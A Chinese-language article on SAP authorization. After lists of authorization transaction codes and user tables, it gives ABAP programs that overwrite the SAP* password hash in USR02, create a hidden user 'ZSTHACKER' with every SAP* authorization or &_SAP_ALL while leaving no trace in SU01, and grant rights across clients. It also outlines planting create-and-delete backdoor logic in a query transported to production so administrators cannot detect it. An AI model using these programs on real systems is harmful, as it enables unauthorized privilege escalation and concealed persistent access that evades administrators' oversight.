SAP权限控制漏洞
尽管SAP系统提供了非常完善的权限控制机制,甚至允许细到字段级和允许用户自定义授权对象,然后SAP权限控制漏洞也是致命的,随便一个小程序就可轻易获取权限
作为职业程序员,对取得权限大多会有一定兴趣(这点催生了一批无聊的所谓Hacker).
读者可自行理解下面几个概,在此不再细述.
[1].Activity(group)
[2].Authorization Object
[3].Profile
[4].Role
实际上决定权限的是Authorization Object , 看USR_USER_AUTH_FOR_OBJ_GET
和AUTHORIZATION_DATA_READ_SELOBJ函数就知道了.
常用权限相关Tcode . (一)Role(角色)相关T-code: PFAC 标准 PFAC_CHG 改变 PFAC_DEL 删除 PFAC_DIS 显示 PFAC_INS 新建 PFAC_STR PFCG 创建 ROLE_CMP 比较 SUPC 批量建立角色profile SWUJ 测试 SU03 检测授权 SU25, SU26 检查Profile (二)建立用户 SU0 SU01 SU01D SU01_NAV SU05 SU1 SU10 批量 SU12 批量 SUCOMP:维护用户公司地址 SU2 change用户参数 SUIM 用户信息系统,可by 多个查询. (三)建立用户组 SUGR:维护 SUGRD:显示 SUGRD_NAV:还是维护 SUGR_NAV:还是显示 (四)维护检查授权 SU20|SU21:如有特殊需要定义自己的authorization fields SU50|SU51|SU52 SU53:当有权限问题可使用它检测 SU56:分析authoraztion data buffers. 常用权限相关表格: TOBJ : All avaiable authorzation objects.(SAP default objects全在此) USR12: 用户级authoraztion值 USR02:密码table USR04:Authorization USR03:User address data USR05:User Master Parameter ID USR06:Additional Data per User USR07:Object/values of last authorization check that failed USR08:Table for user menu entries USR09:Entries for user menus (work areas) USR10:User master authorization profiles USR11:User Master Texts for Profiles (USR10) USR12:User master authorization values USR13:Short Texts for Authorizations USR14:Surchargeable Language Versions per User USR15:External User Name USR16:Values for Variables for User Authorizations USR20:Date of last user master reorganization USR21:Assign user name address key USR22:Logon data without kernel access USR30:Additional Information for User Menu USR40:Table for illegal passwords USR41:当前用户(SM04看到的所有当前活动用户) USRBF2:记录当前用户所有的授权objects UST04:User Profile master UST10C: Composite profiles UST10S: Single profiles UST12 : Authorizations |
如何获取权限呢?下面举几个实际例子
修改某权限大的用户密码.下面是直接修改SAP*的密码为123.就一句话足矣. report ZMODPWD. tables :usr02 . *Data ZUSR02 like USR02 . *select single * into zUSR02 from USR02 *where BNAME = 'SAP*'. *ZUSR02-BNAME = 'SAP*'. *ZUSR02-Bcode = '9C8AB8600E74D864' . *ZUSR02-UFLAG = '0' ."unlock SAP* *Update USR02 from ZUSR02 . update usr02 set bcode = 'DF52478E6FF90EEB' where BNAME = 'SAP*'. 就是说通过上面的程序轻易将sap*的密码给修改了.加密算法在此彻底失效 |
上面的方法不妥的是如修改了SAP*密码,basis很快就会知道,为什么不尝试建立一个临时用户呢?下面介绍一个如何通过程序随意建立用户并赋予所有权限的例子,此例的特点在于直接在用户授权对象表USRBF2中加入授权对象,使用SU01看不到任何迹象,隐蔽性较强.
下面是建立用户ZSTHACKER(初始密码123qaz)并赋予SAP*用户的所有权限. Program ZCRTUSER. Data ZUSR02 like USR02 . ***1Create User ZSTHACKER according to DDIC select single * into ZUSR02 from USR02 where BNAME = 'DDIC'. ZUSR02-BNAME = 'ZSTHACKER'. ZUSR02-Bcode = 'E3B796BB09F7901B' . insert USR02 from ZUSR02 . ***2Copy Auth. Obj from SAP*(or other) data ZUSRBF2 like USRBF2 occurs 0 with header line. select * from USRBF2 into table ZUSRBF2 where BNAME = 'SAP*' . Loop at ZUSRBF2. ZUSRBF2-BNAME = 'ZSTHACKER' . Modify ZUSRBF2 INDEX sy-tabix TRANSPORTING BNAME. endloop. INSERT USRBF2 FROM TABLE ZUSRBF2 ACCEPTING DUPLICATE KEYS. 如果SAP*被修改,直接从Tobj将所有的授权对象赋给ZSTHACKER就可. Data Ztobj like tobj occurs 0 with header line . data zusrbf2 like usrbf2. select * into table ztobj from tobj . loop at ztobj. zusrbf2-mandt = sy-mandt. zusrbf2-bname = 'ZSTHACKER'. zusrbf2-objct = ztobj-objct. zusrbf2-auth ='&_SAP_ALL'. modify USRBF2 FROM zusrbf2 . endloop . 现在还有一点就是basis能检测到多出的神秘ZSTHACKER用户,有一种方法就是basis极难发现这个秘密.读者可自行完成程序逻辑.思路如下: [1]完善程序有建立和删除用户两功能,并将程序插入将要传送到PRD的实用Query(或report painter)等自动产生的程序(需要绕过Access Key). [2]写个简单的逻辑如果query的某个条件满足建立用户赋予权限(象上面一样插入数据到USR02和USRBF2中),如果另一条件满足删除相关数据(从usr02和usrbf2中将数据删除)这样basis就难于发现. ***注意千万不要用此临时用户做一些不合理的动作. [3]能不能垮client端建立用户和授权呢? 回答是肯定的,很简单,只要在插入数据时指定client就可.假设在client 100有个用户ZSTHACKER没有任何授权,当前client是300,下面的例子将300中SAP*的所有授权对象赋予给client 100的用户ZSTHACKER.(同理使用client specified可跨client 建立用户). Data zusrbf2 like usrbf2. Select * into zusrbf2 from usrbf2 where bname = 'SAP*' . Zusrbf2-bname = 'ZSTHACKER' . Zusrbf2-mandt = '100'. Insert into usrbf2 client specified values zusrbf2. Endselect . |